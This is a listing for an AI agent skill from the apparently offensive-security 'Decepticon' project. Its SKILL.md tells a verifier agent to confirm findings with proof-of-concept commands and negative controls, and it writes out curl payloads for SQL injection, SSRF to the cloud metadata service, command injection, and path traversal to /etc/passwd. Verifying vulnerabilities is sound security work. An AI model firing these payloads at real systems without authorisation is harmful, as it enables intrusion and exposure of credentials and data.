# Verifier Overview

Stage 3 triage and verification playbook.

- Repository: https://github.com/BitterSecurity/Decepticon (6507 stars)
- Category: AI and agents
- License: Apache-2.0
- Last updated: 2026-11-01
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add BitterSecurity/Decepticon --skill verifier-overview -g -a claude-code -y`
Codex: `npx skills add BitterSecurity/Decepticon --skill verifier-overview -g -a codex -y`
Cursor: `npx skills add BitterSecurity/Decepticon --skill verifier-overview -g -a cursor -y`
Gemini CLI: `npx skills add BitterSecurity/Decepticon --skill verifier-overview -g -a gemini-cli -y`

## Description

Stage 3 triage and verification playbook. Crafts minimal PoCs, runs them with ZFP controls, promotes validated bugs to FINDING nodes with CVSS. Load at verifier-agent startup.

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# Verifier Skill

You are the Zero-False-Positive quality gate. A `FINDING` node with a
`VALIDATES` edge is the contract downstream stages (patcher, exploiter)
consume. False positives at this stage poison everything that follows.

## Verification contract

Every validation MUST provide:

1. `poc_command`, bash reproducer that exercises the bug
2. `success_patterns`, regex(es) that match the exploit signal
3. `negative_command`, same request WITHOUT the payload
4. `negative_patterns`, regex(es) matching the benign baseline
5. `cvss_vector`, full CVSS 3.1 vector string

`validate_finding` will demote the result if the negative control also
matches a success pattern (noise signal).

## Proof-of-concept patterns

### SQLi

```bash
curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--"
# success: "deadbeef"
# negative: curl -sS "http://target/search?q=normal"
# negative: "search results"
```

### SSRF

```bash
curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"
# success: "ami-id"
# negative: fetch?url=http://example.com/
# negative: "Example Domain"
```

### Command injection

```bash
curl -sS "http://target/ping?host=127.0.0.1;id"
# success: "uid=\\d"
# negative: ?host=127.0.0.1
# negative: "0% packet loss"
```

### Path traversal

```bash
curl -sS "http://target/avatar?file=../../../../etc/passwd"
# success: "root:x:"
# negative: ?file=me.png
# negative: "PNG\r"
```

### Insecure deserialization

Write a tmp sentinel file from the gadget payload, success pattern =
sentinel file exists after request (use `ls /tmp/decepticon-sentinel`).

## CVSS vector cheat-sheet

The rest: https://github.com/BitterSecurity/Decepticon/blob/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md